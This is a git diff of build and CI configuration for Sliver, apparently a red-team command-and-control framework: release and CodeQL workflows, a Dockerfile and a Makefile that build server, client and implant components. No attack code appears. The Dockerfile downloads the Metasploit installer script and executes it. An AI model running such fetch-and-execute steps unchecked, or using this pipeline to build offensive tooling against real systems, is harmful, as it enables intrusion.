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Author SHA1 Message Date
rkervella 6553084d4e lib-inject wip 2021-12-15 15:55:29 -08:00
rkervella 21fa8c71d8 Use extended std lib for memfd 2021-12-15 08:28:17 -08:00
10082 changed files with 199013 additions and 5630449 deletions

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@@ -1 +0,0 @@
* @BishopFox/red-team
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@@ -5,4 +5,4 @@ queries:
uses: security-extended
paths:
- server
- client
- implant
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@@ -1,16 +0,0 @@
# Basic set up for three package managers
version: 2
updates:
# Maintain dependencies for GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# Maintain dependencies for go
- package-ecosystem: "gomod"
directory: "/"
schedule:
interval: "weekly"
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@@ -2,68 +2,95 @@ name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master]
jobs:
servers-build:
name: Release Build Server
linux-windows-build:
name: Linux & Windows Build
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.21
uses: actions/setup-go@v5
with:
go-version: "^1.21"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.17'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check Out Code
uses: actions/checkout@v4
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make
run: make servers
- name: Go Assets
run: ./go-assets.sh
- name: Server Artifacts
uses: actions/upload-artifact@v3
with:
name: servers
path: ./sliver-server_*
- name: Make
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
uses: actions/upload-artifact@v2
with:
name: linux
path: ./sliver-*
clients-build:
name: Release Build Client
- name: Make Windows
run: export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v2
with:
name: windows
path: ./sliver-*
macos-build:
name: MacOS Build
if: startsWith( github.ref, 'refs/tags/v')
runs-on: ubuntu-latest
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.21
uses: actions/setup-go@v5
with:
go-version: "^1.21"
- name: Check Out Code
uses: actions/checkout@v4
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.17'
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Mingw
run: brew install mingw-w64
- name: Make
run: make clients
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Client Artifacts
uses: actions/upload-artifact@v3
with:
name: clients
path: ./sliver-client_*
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Make AMD64
run: make macos
# - name: Make ARM64
# run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
with:
name: macos
path: ./sliver-*
tagged-release:
needs: [servers-build, clients-build]
needs: [linux-windows-build, macos-build]
name: "Tagged Release"
if: startsWith( github.ref, 'refs/tags/v')
@@ -71,67 +98,54 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./builds
- uses: actions/download-artifact@v3
with:
path: ./builds
- run: mkdir -p ./release && mkdir -p ./artifacts
- uses: actions/download-artifact@v2
with:
path: ./artifacts
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/clients/* ./artifacts
cp ./builds/servers/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- name: GPG Key(s)
run: |
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- name: Release
run: mkdir -p ./release
# Linux
- name: Linux 386 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-386.sig --detach-sig ./artifacts/sliver-client_linux-386
- name: Linux AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-amd64.sig --detach-sig ./artifacts/sliver-server_linux-amd64
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-amd64.sig --detach-sig ./artifacts/sliver-client_linux-amd64
- name: Linux ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux-arm64.sig --detach-sig ./artifacts/sliver-server_linux-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux-arm64.sig --detach-sig ./artifacts/sliver-client_linux-arm64
# Linux
- name: Linux AMD64
run: |
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
# Windows
- name: Windows 386 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-386.sig --detach-sig ./artifacts/sliver-client_windows-386.exe
- name: Windows AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows-amd64.sig --detach-sig ./artifacts/sliver-server_windows-amd64.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-amd64.sig --detach-sig ./artifacts/sliver-client_windows-amd64.exe
- name: Windows ARM64 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows-arm64.sig --detach-sig ./artifacts/sliver-client_windows-arm64.exe
# Windows
- name: Windows AMD64
run: |
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
# MacOS
- name: MacOS AMD64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-amd64.sig --detach-sig ./artifacts/sliver-server_macos-amd64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-amd64.sig --detach-sig ./artifacts/sliver-client_macos-amd64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
# MacOS AMD64
- name: MacOS AMD64
run: |
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
# FreeBSD
- name: FreeBSD AMD64 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-amd64.sig --detach-sig ./artifacts/sliver-client_freebsd-amd64.exe
- name: FreeBSD ARM64 (Client Only)
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-client_freebsd-arm64.sig --detach-sig ./artifacts/sliver-client_freebsd-arm64.exe
# MacOS ARM64
# - name: Package MacOS ARM64
# run: |
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
- name: "Publish Release"
uses: "bishopfox/action-gh-release@v1"
with:
files: |
./artifacts/*
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: false
files: |
./release/*
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@@ -4,25 +4,26 @@ on:
push:
branches:
- test/*
pull_request:
branches:
- master
# pull_request:
# branches:
# - master
jobs:
CodeQL-Build:
name: CodeQL Security Scan
# CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
runs-on: ubuntu-latest
timeout-minutes: 90
timeout-minutes: 45
steps:
# Setup go environment
- name: Go 1.21
uses: actions/setup-go@v5
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: "^1.21"
go-version: "^1.17"
- name: Checkout repository
uses: actions/checkout@v4
uses: actions/checkout@v2
with:
# Must fetch at least the immediate parents so that if this is
# a pull request then we can checkout the head of the pull request.
@@ -33,21 +34,44 @@ jobs:
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
- name: Check Out Code
uses: actions/checkout@v4
- name: Protoc
env:
PROTOC_VER: 3.11.4
run: |
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
- name: Protoc-gen-go
env:
PROTOC_GEN_GO_VER: 1.3.5
run: |
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
&& tar xvf protoc-gen-go.tar.gz \
&& cd protobuf-${PROTOC_GEN_GO_VER} \
&& make install
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Go Assets
run: ./go-assets.sh
# Initializes the CodeQL tools for scanning.
- name: Initialize CodeQL
uses: github/codeql-action/init@v2
uses: github/codeql-action/init@v1
with:
config-file: ./.github/codeql/codeql-config.yml
languages: go
- name: Make
run: make
# Build the server ... is this necessary though?
- run: |
make
- name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v2
uses: github/codeql-action/analyze@v1
env:
VERSION: ${{github.sha}}
-102
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@@ -1,102 +0,0 @@
# Sample workflow for building and deploying a Next.js site to GitHub Pages
#
# To get started with Next.js see: https://nextjs.org/docs/getting-started
#
name: Sliver Docs
on:
# Runs on pushes targeting the default branch
push:
branches: ["master"]
# Allows you to run this workflow manually from the Actions tab
workflow_dispatch:
# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
permissions:
contents: read
pages: write
id-token: write
# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued.
# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete.
concurrency:
group: "pages"
cancel-in-progress: false
jobs:
build:
runs-on: ubuntu-latest
defaults:
run:
working-directory: ${{ github.workspace }}/docs/sliver-docs
env:
working-directory: ${{ github.workspace }}/docs/sliver-docs
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Detect package manager
id: detect-package-manager
run: |
if [ -f "${{ github.workspace }}/docs/sliver-docs/yarn.lock" ]; then
echo "manager=yarn" >> $GITHUB_OUTPUT
echo "command=install" >> $GITHUB_OUTPUT
echo "runner=yarn" >> $GITHUB_OUTPUT
exit 0
elif [ -f "${{ github.workspace }}/docs/sliver-docs/package.json" ]; then
echo "manager=npm" >> $GITHUB_OUTPUT
echo "command=ci" >> $GITHUB_OUTPUT
echo "runner=npx --no-install" >> $GITHUB_OUTPUT
exit 0
else
echo "Unable to determine package manager"
exit 1
fi
- name: Setup Node
uses: actions/setup-node@v4
with:
cache: "npm"
cache-dependency-path: "**/package-lock.json"
node-version: "lts/*"
- name: Setup Pages
uses: actions/configure-pages@v3
- name: Restore cache
uses: actions/cache@v3
with:
path: |
.next/cache
# Generate a new cache whenever packages or source files change.
key: ${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-${{ hashFiles('**.[jt]s', '**.[jt]sx') }}
# If source files changed but packages didn't, rebuild from a prior cache.
restore-keys: |
${{ runner.os }}-nextjs-${{ hashFiles('**/package-lock.json', '**/yarn.lock') }}-
- name: Install dependencies
working-directory: ${{ env.working-directory}}
run: ${{ steps.detect-package-manager.outputs.manager }} ${{ steps.detect-package-manager.outputs.command }}
- name: Build with Next.js
working-directory: ${{ env.working-directory}}
run: ${{ steps.detect-package-manager.outputs.runner }} next build
- name: Upload artifact
uses: actions/upload-pages-artifact@v1
with:
path: ${{ github.workspace }}/docs/sliver-docs/out
# Deployment job
deploy:
environment:
name: github-pages
url: ${{ steps.deployment.outputs.page_url }}
runs-on: ubuntu-latest
needs: build
steps:
- name: Deploy to GitHub Pages
id: deployment
uses: actions/deploy-pages@v2
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@@ -0,0 +1,77 @@
name: Build & Test
on:
push:
branches:
- test/*
pull_request:
branches:
- master
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.17'
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make linux
- name: Test
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows
run: make windows
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 45
steps:
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
- name: Check out code into the Go module directory
uses: actions/checkout@v2
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Go Assets
run: ./go-assets.sh
- name: Make
run: make macos
- name: Test
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
-103
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@@ -1,103 +0,0 @@
name: Build & Test
on:
pull_request:
branches:
- master
paths:
- "go.mod"
- "go.sum"
- "Makefile"
- "**/*.go"
- "**/*.c"
- "**/*.h"
- "**/*.sh"
types:
- opened
- reopened
- synchronize
- ready_for_review
jobs:
linux-windows-build-test:
name: Linux & Windows Test
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.21
uses: actions/setup-go@v5
with:
go-version: "^1.21"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check Out Code
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make Linux (amd64)
run: make linux-amd64
- name: Test Linux
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make Windows (amd64)
run: make windows-amd64
- name: Make Linux (arm64)
run: make linux-arm64
macos-build-test:
name: MacOS Test
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.21
uses: actions/setup-go@v5
with:
go-version: "^1.21"
- name: Mingw
run: brew install mingw-w64
- name: Check Out Code
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make MacOS (amd64)
run: make macos-amd64
- name: Test MacOS (amd64)
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make MacOS (arm64)
run: make macos-arm64
clients-build:
name: Clients Build
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.21
uses: actions/setup-go@v5
with:
go-version: "^1.21"
- name: Check Out Code
uses: actions/checkout@v4
- name: Git Fetch Tags
run: git fetch --prune --unshallow --tags -f
- name: Make
run: make clients
-8
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@@ -14,12 +14,10 @@
/sliver-server
/sliver-server_arm64
/sliver.exe
/sliver-server_*
/sliver-client
/sliver-client_arm64
/sliver-client.exe
/sliver-client_*
sliver-server-linux.zip
sliver-server-macos.zip
@@ -34,7 +32,6 @@ sliver-server-windows.zip
# Test binary, build with `go test -c`
/*.test
/test.py
# Output of the go coverage tool, specifically when used with LiteIDE
/*.out
@@ -43,8 +40,3 @@ sliver-server-windows.zip
.glide/
.DS_Store
dist/
# Flag to show that go-assets.sh has been run
.downloaded_assets
+56 -107
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@@ -1,125 +1,74 @@
FROM golang:1.17.2
#
# For production:
# docker build --target production -t sliver .
# docker run -it --rm -v $HOME/.sliver:/home/sliver/.sliver sliver
#
# For unit testing:
# docker build --target test .
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
# Sliver using this container configuration! However, if you do want
# a Docker deployment this is probably a good place to start.
#
# STAGE: base
## Compiles Sliver for use
FROM --platform=linux/amd64 golang:1.21.4 as base
ENV PROTOC_VER 3.17.1
ENV PROTOC_GEN_GO_VER v1.26.0
ENV GRPC_GO v1.1.0
### Base packages
# Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
### Add sliver user
#
# > User
#
RUN groupadd -g 999 sliver && useradd -r -u 999 -g sliver sliver
RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
### Build sliver:
#
# > Metasploit
#
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
#
# > Sliver
#
# Protoc
WORKDIR /tmp
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& cp -vv ./bin/protoc /usr/local/bin
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN make clean-all
RUN make
RUN cp -vv sliver-server /opt/sliver-server
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
# STAGE: test
## Run unit tests against the compiled instance
## Use `--target test` in the docker build command to run this stage
FROM --platform=linux/amd64 base as test
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
curl gcc-multilib build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64
RUN /opt/sliver-server unpack --force
### Run unit tests
# Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# STAGE: production
## Final dockerized form of Sliver
FROM --platform=linux/amd64 debian:bookworm-slim as production
# Clean up
RUN make clean \
&& rm -rf /go/src/* \
&& rm -rf /home/sliver/.sliver
### Install production packages
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
libxml2 libxml2-dev libxslt-dev locate gnupg \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
curl libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
### Install MSF for stager generation
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall \
&& mkdir -p ~/.msf4/ \
&& touch ~/.msf4/initial_setup_complete
### Cleanup unneeded packages
RUN apt-get remove -y curl gnupg \
&& apt-get autoremove -y \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
### Add sliver user
RUN groupadd -g 999 sliver \
&& useradd -r -u 999 -g sliver sliver \
&& mkdir -p /home/sliver/ \
&& chown -R sliver:sliver /home/sliver \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
### Copy compiled binary
COPY --from=base /opt/sliver-server /opt/sliver-server
### Unpack Sliver:
USER sliver
RUN /opt/sliver-server unpack --force
WORKDIR /home/sliver/
VOLUME [ "/home/sliver/.sliver" ]
ENTRYPOINT [ "/opt/sliver-server" ]
# STAGE: production-slim (about 1Gb smaller)
### Slim production image, i.e. without MSF and assoicated libraries
### Still include GCC and MinGW for cross-platform generation
FROM --platform=linux/amd64 debian:bookworm-slim as production-slim
### Install production packages
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
### Cleanup unneeded packages
RUN apt-get autoremove -y \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
### Add sliver user
RUN groupadd -g 999 sliver \
&& useradd -r -u 999 -g sliver sliver \
&& mkdir -p /home/sliver/ \
&& chown -R sliver:sliver /home/sliver
### Copy compiled binary
COPY --from=base /opt/sliver-server /opt/sliver-server
### Unpack Sliver:
USER sliver
RUN /opt/sliver-server unpack --force
WORKDIR /home/sliver/
VOLUME [ "/home/sliver/.sliver" ]
ENTRYPOINT [ "/opt/sliver-server" ]
+70 -133
View File
@@ -3,63 +3,35 @@
#
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS ?= -tags go_sqlite
CGO_ENABLED = 0
ifneq (,$(findstring cgo_sqlite,$(TAGS)))
CGO_ENABLED = 1
endif
#
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = uname sed git zip date cut $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
ENV = CGO_ENABLED=1
TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
#
# Version Information
#
GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 21
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
PKG = github.com/bishopfox/sliver/client/version
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
LDFLAGS = -ldflags "-s -w \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
-X $(PKG).Version=$(VERSION) \
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-X $(PKG).CompiledAt=$(COMPILED_AT) \
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(PKG).GitCommit=$(GIT_COMMIT) \
-X $(PKG).GitDirty=$(GIT_DIRTY)"
# Debug builds shouldn't be stripped (-s -w flags)
LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
#
# Prerequisites
#
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
EXECUTABLES = uname sed git zip date $(GO)
K := $(foreach exec,$(EXECUTABLES),\
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
SED_INPLACE := sed -i
STATIC_TARGET := linux
@@ -67,99 +39,84 @@ STATIC_TARGET := linux
UNAME_S := $(shell uname -s)
UNAME_P := $(shell uname -p)
# If the target is Windows from Linux/Darwin, check for mingw
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
# Programs required for generating protobuf/grpc files
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
ifeq ($(MAKECMDGOALS), pb)
K := $(foreach exec,$(PB_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
# *** Darwin ***
# *** Start Darwin ***
ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
STATIC_TARGET := macos
ifeq ($(UNAME_P),arm)
ENV += GOARCH=arm64
endif
# If no target is specified, determine GOARCH
ifeq ($(UNAME_P),arm)
ifeq ($(MAKECMDGOALS), )
ENV += GOARCH=arm64
endif
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
# *** End Darwin ***
# *** Start Linux ***
ifeq ($(UNAME_S),Linux)
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
ifeq ($(MAKECMDGOALS), linux)
# Redefine LDFLAGS to add the static part
LDFLAGS = -ldflags "-s -w \
-extldflags '-static' \
-X $(VERSION_PKG).Version=$(VERSION) \
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
-X $(PKG).Version=$(VERSION) \
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
-X $(PKG).CompiledAt=$(COMPILED_AT) \
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(PKG).GitCommit=$(GIT_COMMIT) \
-X $(PKG).GitDirty=$(GIT_DIRTY)"
endif
# *** End Linux ***
#
# Targets
#
.PHONY: default
default: clean .downloaded_assets validate-go-version
$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
default: clean
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
# Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client`
# NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work.
.PHONY: client
